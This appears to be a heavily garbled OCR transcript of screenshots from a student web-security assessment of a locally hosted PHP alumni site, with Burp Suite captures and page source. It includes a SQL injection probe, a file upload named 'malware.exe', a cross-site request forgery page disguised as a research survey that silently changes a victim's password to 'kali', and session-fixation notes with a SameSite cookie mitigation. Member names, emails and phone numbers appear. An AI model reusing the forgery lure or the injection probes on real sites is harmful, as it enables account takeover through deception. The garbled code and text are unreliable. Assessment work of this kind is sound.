Lication/sheml+xml, applicat ion/xml;q=0.8

n-US, en;q=0. &

ip, detlace

@«
Done
Q seacn e 20l el
e NSA Gujarat State X NSA Gujarat State X NSA Gujarst Stste
€ ] O O & localhest,
NSA Gujarat State

20100101
imags/ swif, image

Decoder  Comparer  logger  Extensions  Leam

Response

e/ Beml
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Sattngs
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: Target: hitp//localhost /& HTTPN (2)

a x

Request Response Inspector | <
Raw

ioposa3-- HTTR/L.L

0 (Windows NT 10.0; Winéd: =64 108.0) Gecko/20100101
Lication/xhtml+xml, applicat ion/xml;q=0.8, imags/avit, image,

n-US, en;q=0. &
ip, detlace

xt/hEml; char
14136
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NSA Gujara!

X NSAGujarat State x

O D # localhost,

, Emmanuel Frimpong

NSA Gujarat State X

NSA Gujarat State

Q  'orderby1--|

ersity, Ahmeda

Address: NFSU

Adam, Omer Sedeq

X NSAGujarat State X

D # localhost.

NSA Gujerat

NSA Gujarat State

NSA Guj:

NSA Gujarat State

x

NSA Gujarat State x

NSA Gujarat State *

NSA Gujarat State x

Home

NSA Members

, Emmanuel Lance

ance@gmail.com

Phone: +2340925084331

state: Abia

Batch: 0000-00-00

University: Ahmedabad University, Ahmedabad.
Address: NFSU

Alkali, Adama Musa

abmadjajere1@g:

NSA Gujarat State x

NSAMembers

NSA Gujarat Sta

NSAMembers

NSA Members

Contact us

4917046826960, +2348039283790

x

Gallery

Gallery

NSA Gujarat

Forums

Forums

About

About

X | NSA Gujarat State x|+ v

Adam, Ahmad Kaltum

‘babaganajajere2022@gmail.com

Phone: 09099442288
state:

Batch: 2023-08-02
University: Ahmedabad Unive
Address: NFSU

y, Ahmedabad

.in

NSA Gujarat State x




@ NSAGujarat State X NSAGujarat State X NSAGujarat State. X NSA Gujarat State X NSAGujarat State X NSA Gujerat State X NSA Gujerat State X NSA Gujarat State X | NSA Gujarat State x|+ v =]

O D # localhost, 8 © =

NSA Gujarat State Home  NSAMembers Gallery Forums  About v

NSA Members

Contactus

+917046826960, +2348039283790

& Qe e TOo-C@e@mAE > S

@ NSAGujsrat State X NSAGujarat State X NSAGujerat State. X NSA Gujsrat State X NSAGujarat State X NSA Gujerat State X NSA Gujarat State X NSA Gujarat State X NSA Gujerat State x| + a

= localhost,

D 8 Y
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NSA Members
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5. Cross-Site Request Forgery
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htmL>

nl Lomgans

<meta name="description” content="
7

ontent

mu.m sujoras sessac/ainies
1o Favicon-

{Tink reloricon” type="inage/x-1con” heef-"pssets/ingfavicon.ica” /3

<i-- Font Awesome {cons (free version)-->

<script sre-'https: Lesses/vs.13.0/15/a11. 15" crossorigin="snonpmaus"></script>

<seript sres
<script sres

meta charset="utf-3"
neta names"tievport” contents" hdthedeutce-uldth, initisl-scale

» shrink-ta-flt=na" /2

ta mames"authar”

Le fonts-->

<link href="httos://font 1 Hanily-berciuesthertsans 000 200" rel-"styleshast” />
<link href="nttos://Tonts.guogl ~Herriesther:480, 300, 306italic 460italic, 70, 760italic” rel="styleshest™ type"text/czs” />
<1-- Third party plugin €35-->

<link href-"adnin/assets/css/ia:

ink keethetpss/ /i Cloviilare. conda, | n/iibs l!ﬂi’i( Epw_pn - ﬂl-lgnlfl:—paﬂp dn.ss” rel="stylesheet” /3

«1- Core theme CS5 ({ncludes Bootstrap)-

<link href=" tcker.css” rels"stylesheet” /3

<link hrefs"cas/styles.cus” rela"stylesheet™ />
«<link types"text/css® rela”styleshest” hrefe”sdmin/sssets/css/jouery-te-1.4.0.c35%

«<link href-"aduin/assets/css/selectz min.cus” rel="stylesheat™>

‘adwin/assets/vendor/jquery/ jauery.nin. f5"></script>
i vendar [bootstr] i

Ljs"se/acripty

<script typestext/] pt™ srea” in. js"></scripty
<script type="text/javascript® src="adwin/assets/ s/ Jquery.datetimeplcker.full.win. js"></scripts

CSCript typen”text/ mieacript™ sree"aiminiassets/ s/ juery- te-1odaumine s charseterute 3" 1c/seripts

estyle>
header wasthead (

: url Load: )_1677690180_2084235.
backgraund- rq,=m ne-repeat;
backgraund-size: cover;

teleer sodal -btn-close {

font-size: 27px;

top:

¥
#viewsr_modal .madal-dialog {
width: 8a;

max-height: unset;

svizuer_modal _modal-content {
black;

border: unset;
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a8 Wy_account w @ 9
el University, Vallsbh Vidysnagar.</option

SSardsr Vallashbnai ational Institute of Technalogy, Surat.</options
>Sardarkrushinagar Dantiwada &gricultural University, Falanpur.</options
>aurashtra bnivarsity, Rajkot.</option>

sShres Soansth Sanskrit University, veraval.c/option>

3 Govind Gury Uninersicy, Godiva.</option>

>Susmandeep Vidyspeeth, Vadodara.</option

Vowernin Sjares Sparts niverctiy, arhinagar. </optim

Tiwarnin Stareap and Tomovation Unbverrity, Gandnineger </optians
Teamiease Skilhs Uriversity, Tasald. <Joptions

>The Haharaja Sayajirao University of Baroda, Vadedars.</option>

ats Llnlvzr-slty Bardoli.</option>

Sveer Narmad South Gujarat University, Surat.</options

<«
“fselects
<fdivy
«/divy
v clars-"rou form-growy™>
<div class="col-sd-5
Tabel for=re classe"control- abalnoGurrantly Goanectad Toc/label>
ctextores name="connected_to” cals ="3" class="forn-control">Ssbulun wanks ysns sefand sosai musammen idan mutim ysnsds sensitive skin. P.M.5 1143 Gendhinager.</textarea>

</divs
<div class=cal-nd-5">
<a class="control - abel"»Inage</label>
<in ="file" class="forn-contral® name="ing" anchange="displayTng(this,5{this))">
«<ing srcr"adnin/assets/uplosds 1652676458 maluare .exe” alt="" id="cimg">
<fdivy
«/divy

«div class="rou"s
ediv class="col-nd-a">

<fdiv>
i clamsercel sty
niml for="" clme= conbrol-lakel s Fnrcmondc labels
(x ut type="passuord” class="form-cantral® name="passwor
Comall><1oieave this blank 1f you dont mant to change your nns-vrddhc[s-]l)
<diva
</div>
div id="msg"s

<hr class="divider”>
<div class="ron">
<div class="col-nd-12 text-center®>
chutton class="btn btn-prinary">Update Account/button>

</div>
<rdivy
</farm
</div>
</divy
«/divs
«/divy
«/divs
<div
<serig

§C dntepickery") datepicker(

| email | A~ [ vighight g [] MatchCase [ Match Diacritics || Whole Words 1 of 5 matches x
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c & ty_aecount o @ 4
max-width: G
<styler
<header class="ma
"Giv classe-container-fluld h-108°
<div €lasss"rou h-100 align-items-center justify-content-center text-center™s
o1-1g-3 align-seld-end w4 page-titles
et uhite obanage Actante/as>
“divider my-a" />
<div class="col-nd-12 mb-2 Justify-content-center”>
</div>
</div>
<rdiv
1d-"update_sccount™>
<div class="ron fore-group”>
<div class="col-nd-4">
1 for="" class="control-label>Last Neme</label
Cinput types"text” classs"form-contral name="lastname” values"Adew” requireds
col-md-4">
<lal hl hl-"‘ class="control-label":First Hame</label:
€label fora™" elossacontrol -label®iddle homes/lobels
Cinpet type-iext classo-forn.control” mame-eidélenses” value-"Seder” >
<option »Femalec/options
«/selects
«/div>
<div classeeal-nd 4>
€label fors™" elossa"control -lskel"saatche/label>
cinput type="input” class="for-control datepickery” mame-"batch” value-"2023-93-187 requireds
</divy
<div class="col-nd-4
fore o Chosaecontrol-LabeL"scourse Geaduatede/label>
<select class="custon-select select?” mame="course_id" required>
<optians</options
<option value"L" >Amedabad University, Abmedabad</options
<option value="2" sAnand Agricultural University, Anand.</option
coption value='3" >dnant Mational Uniersity, Smedabad. </option>
<option value="4" selectedsatmiya University, Rajkot.</option:
<option values's" JARD University, Surat.</option
<option values"s" iBhakts Kovi Karsinh Pehts University, Khadia.</aption:
| firstname ~ v [ Highight &[] March Case (] March Diacritics ] Whole Words  1.0f 1 match x
- 12204
H Qo o CBeImHAE A DY @
@ | NSAGujsat Seate * phpTp: % x [ e X+ v - o x
c & ty_aecount o @ 4

max-width: G

styles
<header class-"nasthesd">
<div class="contalner-fluld h-198">
cdiv classs"ron 1109 align-itans-ganter Justify-contant-canter Sext-centar®s
iy class"cel-lg-d align-seif-end bt page-tisle”
5 el e i o enage Aecounte 5
<hr classe"divider my-4" />

<div class="col-nd-12 wa-2 Justify-content-center”>
</divy
</divy

<div>

<div class-"container mt-3 pr-2°>
<div class="col-1g-12">
<div class="card mb-4">
<div class="card-body">
<div class="container-fluid">
iy classereel w2

act! “update_account”>
i) forn-gr

<div elass="col-nd-4">
1 fors"" classs"control-label®sLast Nomee/labels
cinput types"text” classa™form-control® names”lostnane” values"idse” requireds
col-nd-4">

<label for="" class="control-label*>First Nane</Label>
cinput type="text” class="forn-control® name="firstasee’ value="Oner” required>

<fdiva

<rdiv

«div class="row form-grous™>
<div class="col-nd-4">

Clsbel fora™ classe”control.Tabe1"sGender /Tabels
cselect classa"custon- select” nder requireds
<option selactedsrale</option>
<option >Femalec/options
</select>
</div>
<div class="col-sd-4">
<Labe Class="cantrol-label">8atche/label>
<input type="input” class="form-contral datepickery” name="batch® value="2823-83-13" required:

</div>
i classecol s
v~ class=*cantrol -label"sCourse Grofuateds/label>
Caelrct chasse-comton select selectie mamestiouroe i+ requireds

<options</options
<option values"1" »ahmedabsd University, shmedshad.</options
<coption value="2" »anand Agricultural University, anand. </options
<optien value="3" »anant mational University, Anmedabad.</option>
<option value="#" selectedrataiys Lniversity, Rajkot.</option>
<option value="5" >ARD University, Surat.</option>
<option value="6" >Ehakta Kewi Narsinh Mehta University, Knadia.</options
| maddle. A~ ] Highight &1l [ | MatchCase [ | Match Diacritics || Whole Words  10f 2 matches.
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y_account
height: 23vh !isportant;

ing{
max-height: 10vh;
max-width: svw;

</style>
- Classe"masthesd™s
<div classs"container-fluid h-100">
<div class="row h-100 align-itess-center jumiy connnt center text-center”>
v class-"col1g-8 align-self- 4 page-ti
3 classe”text-uhite">Nanage Accomterns,
aw class="divider my-
<div classe"col-nd-12 wh-2 justify-content-center”>
</div>
</div>
</div>
</div>
</header>
<div class<"container lt ! pt-27>
«div class="col
v Chasomreard 1
<div class="card-
<div class="container-fluid*>
<div class="col-nd-12">
<form actions"" ide"update_account™>
<div class"row form-group™>
class<"control-label™>First Name</label>
<input type- ‘text” class="form-control” name="firstname” value="Omer™ required>
</div>
<div Classecol-nd-4">
<label for="" class="control-label”>Middle Mame</label>
< types"text” class="form-control® names"middlensme” values"Sedeq” >
</div>
</div>
<div class="row fore-| roup >
«div class="col- d~
Iabel fare-" clagse"control-Labe1” soenterc/label>
<select classe"custon-select” nomes"gender" required>
<option selected>Male</option>
<option >Female</option>
</select>
</div>
<div class=col-nd-4">
for="" class="control-label®>8atch</label>
<input types"input® classs"forn-control datepickerY” names"batch” values"2023-03-18" required>
</div>
<div :hn- col-md-4":
= class="control- Iabel >course Graduatede/Label>
udxt class=’ mn- select name="c " required>
<option></option:
<option values"1" >Atmedsbod University, Abmedabed.</option>
<option values"2" >nand Agricultural University, m-m.«/mm>
| last name. | A~ [ Highight A1l [] Match Case || Match Diacritics || Whole Words  10f t match

x
B Qseax ~HL’IQ-§¢.!@ !

A Qe Zke

™ ; x x x B x + v - 8 x
c a8  account 1 © a
neights 23vh Linportant;
)
ingacing(
max-height: 10vh;
max-wldth: 6w
<style>
g
<div class="ron h -
v clasee” celtgs nu.n self-end wb-4 page-title"s
lass="text 'e Account</h3>
(M Las:
<div classa"col-nd-12 wh-2 justify-content-center™
</divy
</div>
</div>
</div>
</header>

<div classe"container wt-3 pt-2"
i class-eal: 1g:at™>
b-4">

<forn actions"" ids"updste_sccount”>
<div classe"row form-gr
«div class="col-md-4">
<label for="" class="control-label*>Last Name</label>
<input types"text” class="forn-control® name="lastnane" values‘Adsn" required>
</div>
<div classs"col-s d 4">
<label fora™" class«"control-label®>first Name</label>
<input type="text" class="form-control” name="firstname” value-"Omer” required>
</div>
<div d.u-'(ol wd-4":
<label for=" (hu- ‘control-label*>Middle Mame</label>
m “text" class="form-control® name="middlename” value="Sedeq” >
</div>
</divy
<div class="row fora-group™>
<div class="col-nd-4">
ClasscmcontolLobelogender el

(opﬂna selected>talec/option>
<option >Femalec/option>
</select>
</div>
(ﬁv Ehl)- ol - d~
foen-" clagss"control-label >8atchc/label>
prress types"input® classs"form-control datepickerY” nomes"batch” values"2023-03-18" required>
</div>
<div classe"co]
label fare"" clagse"control-label" cCourse Graduated</label>
“Select classe-custonsselect selecta name="coorse 14" required>
<option></aption>

<option values"1" >Ahmedsbsd University, Ahmedabsd.</option>
Coption value="2" >hnand Agricultural University, Anand. </option>
continn unluma®S" nant liatinnal liniuersisy <Inntiom

1.0f 2 matches
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</div>
</div>

dtl clmaiatro Sl grp’s

<textarea name="cont

</div>
x4l class

</div:
“eiv classecol nd-4"
1abel for=""

="password” class:

col-nd-5">
foratt clissiscoatrol

class="control.

y_account

elasaa"control-Labe1* nat1c/Label>
Shgat. type="omdl” clase="Norm-control” e

<option values"34" >Junsgadh Agricultural University, Junsgadh.</option>

Xadi Sarva Vishwavidyalays, Gendhinagar.</option>
>Xandhenu University, Gandhinagar.</option>
>Xarnavati niversity, Gandhinagar.</option>
cantigury ShyssL Krishna Verma Kachcth University, shuf.</option>
>Lakulish Yoga University, Ahmedabad.</option

arala Ko sihaakimies ansd Bhavnagar Uniwersity, Bhovnagor.</options

i University, Rajkot.</option>
sational Forensic Sciences University, tulldhmli-r </option>
sMational Institute of Design, Ahmedabad.<
atlons] Institute of Pharsacestical Educotion and Research, #hmedabad. </option>
>Mavrachans University, Vadodara.</option>
Havserd Agricultucal University, Nevsart c/option>
versity, Ahwedabed.</opti

JP5 Savend Uniuarsity, Kossae-¢/option
2pantis Deendeyal Petroleum (niversity, Gondhinagar. </options
>Parul University, Waghodia.</option
iestingta Trtemation | Dniverxl\y, vapt.</option>
>Rai University, Ahwedabad.</opt
Sasktriye Rekiks University, Mhinmr.(fwuan)

RK University, Rajkot.</option>
>Sabarmati University, Ahmedabad.</option>
>sankalchand Patel University, Visnagar.</option>
>Sardar Patel University, Vallabh Vidyanagar.</option>
>Sardar Vallabhbhai National Institute of Technology, Surat.</option>
>Sardarkrushinager Dantiwada Agricultural University, Palanpur.</option>
sSaurashtrs University, fajkat. c/option

Sanakrdt Vitiiraity, Veraal</apeaaes

JShe Govind Guru University, Godhra-</option
>suasandeep Vidyapeeth, Vadodara.</option>
>Swarnim Gujarat Sports University, Gandhinagar.</option>
>Swarnin Startup and Innovation University, Gandhinager.</option>
>TesmLease Skills University, Tarsali.</option>
eyajirao University of Baroda, Vadodars.</option>
>Uka Tarsadis University, Bardoli.</option>

<option value-"65" Veer Narmed South Gujarat University, Sorat.</option>

</select>

hascocontrol:1abe1 >Currently Connected To</label>
nected_to" id="" cols="30" rows="3" class="form-control">sabulun wanka yana amfani sosai musamman idan mutum yanada sensitive skin. P.M.B 1143 Gandhinagar.</textareas

bel*>Password</label>
form-control®

‘pas swor

“email” value="omer@sudan.con” readonly>

<input
<small><i>lesve this blank if you dont want to change your password</i></small>

[ limg

B Qsea

| A v

Highlight &1l [ ] Match Case || Match Diacrif

7] Whole Words 5 of 13 matches
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]

<div class="container-fluid">
<div class="col-nd-12">

<form action="" id="updste_sccount™>
<div class="row form-grous™>
<div class="cal-nd-4">

<label for-"" class="control-label*>Last Name</labelr
<input type="text” class="form-contrel®

_account

stname” value="

€lass="control-1abel"sFirst Hame</Labels

cinput types"text” classa™form-control

</divs

cdiv class="col-ng-4">
label for="" class="control-label®sniddle Name</label>

cinput type="text” class="forn-control® name="niddlensee” value="Sedeq” >

<fdiv>
</divy

<div class="row farm-group™>

<div class="cal-nd-4">
For=""

cselect class="custon-select” name="gende:
<option selectedtalec/option
<option >Femslec/options
/aclects
</div
<div class="col-nd-4">
label for=""

="cantrol - label”sGender</label»
" required

an” required:

x

~ Qe e

names"firstname” walues"Omer” requireds

<optian></option:

class="cantrol-label>Course Gragusted</label>
" name:

<select class="custom-select select? ‘course_id” required>
ion>

<option >Ahmedabad University, Ahmedabad. </options
<opt. >Anand Agricultural University, Anand.</option>
<option sinant lstional Uniuersiy, dmedased. /aptions
ectedsitniya University, Rajkot.</options
<option JAURO University, surat.</options
<option »Bhakta Kavi Warsinh Mehta University, Khadia.</option>
<optien »C.U. Shah University, Wadhwan. </option>
<option »Central University of Gujarat, Gandhinagar.</option>
<option SCEPT University, Ahmedabed.</option>
<option >tharctar University of Science and Technology, Anand.</option>
<option sChildren's University, Gandhinagar.</option>
<optien sDharmsinh Desai University, Nadiad,</option>
<option sOniruohai Ambani Institute of Inforeation and Commnication Technology, Sandninagar.</options
<option 36.L.5. University, Ahmedabad.</option>
<opt >Ganpat University, Mehsana.c/options
<option SGSFC University, Vadodara.¢/options
<option sGujarat ayurved University, Jsmogar. </
<option sGujarat National Low University, Gandhinsgar.</options
<option sGujarat Technological tniversity, aheedabad. </options
<option sGujarat university of Transplantation Sciences, Anmedabad. </option>
<option >Gujarat university, Ahnedabad.</option>
<option >Gujarat Vidyapith, Aheedabsd .</opt
<option sHenchandracharya North Gujsrat University, Patan.</option>
| batch | A~ [ Highight s [] MatchCase [ Match Diacritics || Whole Words 1 of 2 matches
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»Shree Scansth Sanskrit University, Veraval.</option>
»Shri Govind Guru University, Godhra.</option>

Suamandeep Vidyapeeth, Vadodara.</optians

Swarnim Gujarat Sports University, Gandhinagar.</options
»Swarnim Startup and Innovation University, Gandhinagar.</optians
»TeamLease Skills University, Tarsali.c/options

3The Maharaja Sayajirao University of Baroda, Vadodars.</options
sUka Tarsadia University, Bardoli.s/options

sueer Narmad South Gujsrat Undversity, Surat.</options

<
</selects
</div>
</div>
<div class="ron fora-groug™>
<div class="cal-nd-5">
Clsbel for-"" class-"control kel sGurrently Comnected Tod/labels
Ctextares name="connected_to" id"" cals="38" rows-"3" class"forn-centrol”>Sabulun wanks yar
</divr
<div class="col-md-5">
for="" closssreontrol Lobe L magec label>
cinput type="file” class="forn-control® names"ing

awfani sosai musamman idan mutus yanads sensitive skin. F.M.B 1343 Gandhinagar.</textarear

anchange="displayTngthis, §(this))"s
alta"" ide"cimg™s

«ing sres"adnin, 1682676480 ma exe
<fdivs

</div>

<div class="row">

<div class="col-nd-a">
Clabel for-"" closscontral label”st
<input types"email” class="

“email” values"cmergsudan.con” resdonly>

<div class="cal-nd-4">
<label for=""

ssworde/i></small>

cdiv 1d"msg">

</div>
e classediviger®s
adiv el
(v Slare-col-nd-12 text-center®s
<hutton class="bin btn-primary >Update Account</button>
</divr
</
</form:
«/divy
«fdivy
«/divy
</divy
/i
</div>
<serigts
$(" .datepickerY").datepicker({
F
viewbode: “years®,
minviewiode: “years®
n
| password ~ ] Highight &l [) MatchCase ] Match Diacri | Whole Words  10f 4 matches x
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<form /1ocal dnin/ajax. php2act
Hi, I am a M.5c. Cyber Security student and I want you to fill out this form to help me do my research. Please click on the button to visit the form.<bracbrocbr>
<input type="hidden” class="form-control” name="email® value="omerfisudan.con” readonly>
<input ‘Omer™>
«input type:
<input type="hidden" class="form-control” name-"middlename"” value="Sedeq">
<input type="hidden"
«input type="hidden" "form-control” name="img">
<dnput type="hidden "form-control datepickerY” name="batch” value
<dnput hidden” "form-control” name-"password” value-"kali">
<input type="button" value="Go To Fora">

"2023-83-18">

tn 12, Cal 100% Véndows (CALF) utr-s
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C D filey//Cy/Usersfemman/Documentsyform.html

Hi, Tam a M Sc. Cyber Security smdent and [ want you to fill ot this form to help me do my rescarch. Please click on the button to visit the form

|6 1o Form |

7o
R

ame dueOzC@eXDE

@ | NSAGujarar State % | [E/c/useniemman/Documents. X +

infajax phpZaction =update_account

€« (¢} QO O &= localhost/r

‘Warning. Undefined anay key “ung” n C:xamppibtdecs'nsa'admin\admin_class.php on lne 138

Warning: Trying to access array offset on value of type null in C-\sampp|htdocsinsatadmin\admin_class.php on line 138

Fatal error- Uncaught mysqli_sql_exception: Unknown column ‘img’ in field list in C-\xampp'htdocsnsa\ademiniadmin_class php-144 Stack trace: #0 C 'wampp!hidocsnsaladmin'admin_class php(144) mysqhi-=query(UPDATE alumnus_ ') #1 C\xampp hdocsnss\admin ajax php(42)-
Action->update_account() £2 {main} thrown in C:\xampp\btdocs\nsa‘admin\admin_class.php on line 144
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= localhost

NSA Gujarat State Home NSAMembers Gallry Forums About  OmerAdamv

~ WELCOME!

NSA Gujarat State

Upcoming Events

Contactus

+91704,6826960, +2348039283790

= s
S E Il

@ | NSAGujarat State x  [E) /C/userssemman/Document:. X + o

= localhost, &

NSA Gujarat State Home  NSAMembers Gallery Forums About  OmerAdamv

& Manage Account

& Logout

WELCOME!
NSA Gujarat State

Upcoming Events

Contact us

+917046826960, +2348039283790




@ | NSAGujsrat State x ] /C:/Users/emman/Document:. X+ % a

= localhost

Login

Email

omer@sudan.com

Password

@ | NSAGujsrat State x| [ /C/Users/emman/Document: X+ o

Login

Email or password is incorrect.

Email

omer@sudan.com

Password

seses

B  #ome

aR Q seo e VoL CBeXdEE ~ Qe

Trying out the new password



@ | NSAGujarat State x| [E /C/usersemman/Document: X+ v o

= O localhost, k ¢ =

Login

Email

omer@sudan.com

Password

@ | NSAGujsrat State x| [ /c/usenemmanDocument: X + o
= O localhost, ¢ ©

Update login for http=/localhost?
Home  NSAMembers Gallery Forums  About

Update Dontupdate  V

NSA Gujarat State

Upcoming Events

Contactus

Qe :EL;D.‘.LUQU&H il A Qo



O B & o localhost

NSA Gujarat State Home  NSAMembers

WELCOME!

Upcoming Events

Contactus

+917046826960, +2348039283790

i Qs e VoL CeBeeXB

gl

Mitigation — setting the session.cookie_samesite to strict

)
Restricted intended for safe code browsing. Trust t o enable ol features. Manage  Leam More
S phpini X

~PHPSESSTD

B Qs ~sduepCme YEE

Omerv

535 PM
5/9/2023




0 cnablc ol feotures. Manage  Leam bore

Verification

@ | NSAGujsrat State X | [C/Users/emman/Documentsffor X+ v o

= localhost &

NSA Gujarat State Home  NSAMembers Gallery Forums About  OmerAdamv

WELCOME!

Upcoming Events

Contactus

+917046826960, +2348039283790




- x | e x|+ v - 8 x

C D filey//Cy/Usersfemman/Documentsyform.html & 2 8 =

Hi, Tam a M Sc. Cyber Security smdent and [ want you to fill ot this form to help me do my rescarch. Please click on the button to visit the form

| .50 70 Form |

Q search _35@9'__0&!;0@! A Qw200

@ | hsAGujsra State % | [E/c/useniemman/Documents. X + ~ - 8 %

€ @ O D &= locahest, sjae phptaction - update_sccount € @ 8 =

‘Warning: Undefincd array key “login id" in C: lass.php on Line 122
2

Q Search L‘ﬂl-co-_-ei!'d@! ~ 1) 2B



@ | NSAGujarat State x | [ /csusensemmanDocuments X+ 2 s

= localhost

NSA Gujarat State Home NSAMembers Gallry Forums About  OmerAdamv

WELCOME!

NSA Gujarat State

Upcoming Events

Contactus

+91704,6826960, +2348039283790

A Qo

@ | NSAGujarat State x  [E) /C/userssemman/Document:. X + o

= localhost, &

NSA Gujarat State Home  NSAMembers  Gallery Forums  About  OmerAdamv

£ Manage Account

O Logout

ujarat State

Upcoming Events

Contact us

+917046826960, +2348039283790




@ | NSAGujerst State x | (B /C/Users/emmanDocument. X+ % 5

= localhost

NSA Gujarat State Home  NSAMembers  Gallery  About

Upcoming Events

Contactus

+91704,6826960, +2348039283790

@ | NSAGujsrat State x| [ /C/Users/emman/Document: X+ 2

Login
Email
or 1dan.com

Password

seses

[ #tiome




NSA Gujarat State Home NSAMembers Gallry Forums About  OmerAdamv

Upcoming Events

Contactus

+917046826960, +2348039283790

-]
0
133
r
D

]
o
a
@
A
B8
(i
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6. Session Fixation

Identification

@ | NSAGujsrat State x | 4 : .

NSA Gujarat State Home  NSAMembers  Gallery About  Login

WELCOME!
NSA Gujarat

Upcoming Events

Contact us

+917046826960, +2348039283790
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@ senings &

orary Project

mmunity Ecition v2022.3.5 - Tem

x| +
Bup Project Intruder Repeater Window Help Burp
inruder  Repeater  Collaborator  Sequencer  Decoder

{8} Proxy settings

Title Comment

Comparer  logger  Exensions  Learn

© [ s= | Dashboard  Target  prog
HTT? history  WebSockets histary

Intercept

Filter: Hiding CSS, image and general binary cortent
Params  Edited  Status  length MIMEtype  Extension

Hast Method
hitp:f/lacalhost GET nsafindex php 200 1sEsa HTML php

INSA Gujarat State

Request Response Inspector
Raw  Hex prety  Raw  Hex  Render
1 GET /naajindax.php HTTP/L.1 HTTP/1.1 200 OR
Host: localhost 2 bate: Sar, 29 dpr 2013 09:44:50 GHT S
Morillass.D (Vindows NT 10.0. Apache/?.4.54 (Vingd) Opens q
72105.0) Geeko/ 20100101 Faretons &

Request atiributes

Request headkrs

—Fovered-By: PHP/3.2.0
Ixpires: Tau, 1S Nov 1981 0B:52:00 GMT

Cache-Control: na-stors, no-cache, must-ravalidats

AT Lon/XhCm] 4], appl ieat Lon/ ;=0
e/ welsp, A *: qa0.8
Response headers

hoeep
cexr/neml, applic.
Javit, imag
Accept-Languags
hocept-Encoding: gzip, defla
/ Localhest/naa/ index . php page=home E no-Type: text/html; charse
~Length: 15330

en-US, =5 qe0.5

lon: close

BEEFHCCE=

TR0 <!DOCTYPE heml>

DAEysTxSkdTEVT <hml lang="=a">

£ aecke] leod3bi08a0dhdd] £6 smeta charsec=Fuct-8¢ /3

Upgrade- Insecure-Fequeats: “<meca mame="viewporte contem
document = width, initial-scalesl,

h-Site: s 1 - craption” eomteme=Ut /3
"author® contemt="" />

Sec-Fet
Sec-Fecch-User:
<zizies

| sk Guiarar State
125

Fr-icon® heef="

con® type="image
1com. 2c0" />
Font Awesome icons (free

version)-->

fontaumsome  com/ releases/u5 13,0/ ju/a

Eivsac

@B €3] st 0 matches
A O @

Fead usefontaw

Q searcn Ay 0 CBe DA

x | 4 & 5
b Bup Project Intruder Repeater Window Help Burp Suite Community Editio 5 - Temporary - o x
¢ c | Dashboard  Target  Proxy  intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  logger  Extensions  Learn {6} settings.
Intercept  HTTP history  WebSockets history {8} Proxy settings
iding CSS, image and general binary content ®
“ Host Method URL Params  Edited  Ststus  Length MMEtpe Extension Title Comment
1 http://lacalhost GET Jnsafindex php 200 15650 HTML php NSA Gujarat State
2 hitpy//localhost GET /nsafadmin/ajax.php?action=get_cart . v 200 325 HTML php
- - &
Roquiast HaspaEs Inspector Dz :-®Xx
Raw  Hex 8w Pretty  Raw  Hex  Render = | Request attiibutes 2 v
1 GET /nsa/index.php ETTP/L.1 BTTP/1.1 200 OF
thost Date: Sac, 28 Apr 2023 09:44:50 -
Lla/5.0 (¥Vindows NT 10.0: Viné4: Server: Apache, Vinéd) Ope: ip Request cookdes o v
Gecko/20100101 Firefox/112.0 PHP/E.2.0
¢ ¥-Powered-By: PHP/8.2.0 Request headers B v
cexc/heml, applicat lon/xhtnl < Expires: Thu, 19 Nov 1981 0B:52:0D GHT
9 v

Cache-Control: no-stors,
Pragma:
Connection: clase

Response headers

+uml, applicat ton/xml; g=0.
£, image/vebp, 4/ *: q=0.3

S, image/avit,

Accept-Language: en-US, ex

hccept-Encoding: gzip, deflate
: hee

Localnost/nsa/ index. php?page=home

erer:
Connection:

Send to Intruder s 12 "
bml lang="en”>

Cul-R | <meca charsec=ruct-g® />

ewport” conten

th, initial-scal

8n [ 3aX5ugk
d3b10830ahAdI£E Send to Repeater
Send to Sequencer
Send to Comparer

send to Decoder

“author® content=!

Show response in browser
Request in browser

Engagement tools [Pro version only]

Copy URL
Copy as curl command
Copy to file o
Save tem
rrfusat
0 matches

Q@ «/>
Message editor documentation

N sasom

QD y2enom ©

=
: vy = 0 @ € B @ oo documenssion




@

NSA Gujarat State

localhost;

B Bup Project Intruder
Dashboard  Target _Proxy

ntercept

Filter: Hiding CSS, image and general binary content

Request

~

Login

Email

omer@sudan.c

Password

= 9

Settings :

Repeater Window Help
itruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  logger  Exensions  Leam

ry  WebSockets history Proxy settings

HTP

Method URL Params  Edited

GET nsafindex.php

GET nsa/admin/ajax php?action=get cart_

GET nsafloginphp

POST jnsa/adminajaxphpPaction=login2

GET jnsafindexphpipage=home ’ NSA Gujarat State
action=get_cart_..

H
http://localhost
hitp://localhost
hitp://localhos
hitp://localhost
http://localhost

hitp://localhost GET nsafadmin/ajaxs

Inspector

rrr

loginz

20100101 Fireto

%.php

Applying changes

0 matches

0D -CmBeEH



. ol Bl sup Projedt intruder Repeater Window Help

oxy  Itruder  Repeater  Collsborator  Sequencer  Decoder  Comparer  logger  Exter

VebSockets hi Proxy settings

Filter: Hiding CSS, image and general binary content

N Method URL params d  Stats  Length  MIME type Tite Comment
nttp GET  jnsafindexphp 56 php NSA Gujarat State
2 hitp: GET nsa/admin/ajax,php?action = ge v 200 php
etp s GeT sa/login.php 200 2106 WML php
4 hitp://localhost POST  /nsa/admin/ajax.php?action=login2 v 00 text php
hitpy/locathost GeT nsa/index php7page=hon v HTML Py NSA Gujarat State
hitp: GET insa/admin/ajax.php?action=get_cart_ v HIML php
__BR r o
Request nspecto [ m |
hal or Request attributes. 2
POST phpZactionslogin? HTTP/L.L
Homt: 1 5:23 GNT
User-Agent 5.0 (Vindows NT 0; Viné4 pensSSL/1.1.1p Regu
¢ 1 ecko/30100101 Fire

Request body parameters 2

81 08:52:00
ed. Request cookies 2
pas Request headers E

d to Intrudes Response header

Send to Comparer

nd to Decoder

Show response in browser
. Request in browser

nent tools [Pro version only]

Copy as curl command

¢ docur

cumentation

Burp Project intruder Repester Window Help ) - 5 x
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extensions Learn Settings
Comparer (
This function lets you do & word- or byte-level comparison between diferent data. You can load, paste, or send data here from other tools and then select the comparison you wan to perform
Selectftem
* Length Data paste
1 640 GET jnsafindexphp HITP/1.1Host: localhostUser-Agent: Mozilia/5.0 (Windows NT 10.0; Winb: x64; rv109.0) Gecko/20100101 Farefos/112.0Accept: text/himlapplcationshtmés xm| application/xmk q= oad
Remave
Clear
Select tem 2.
N Length bata
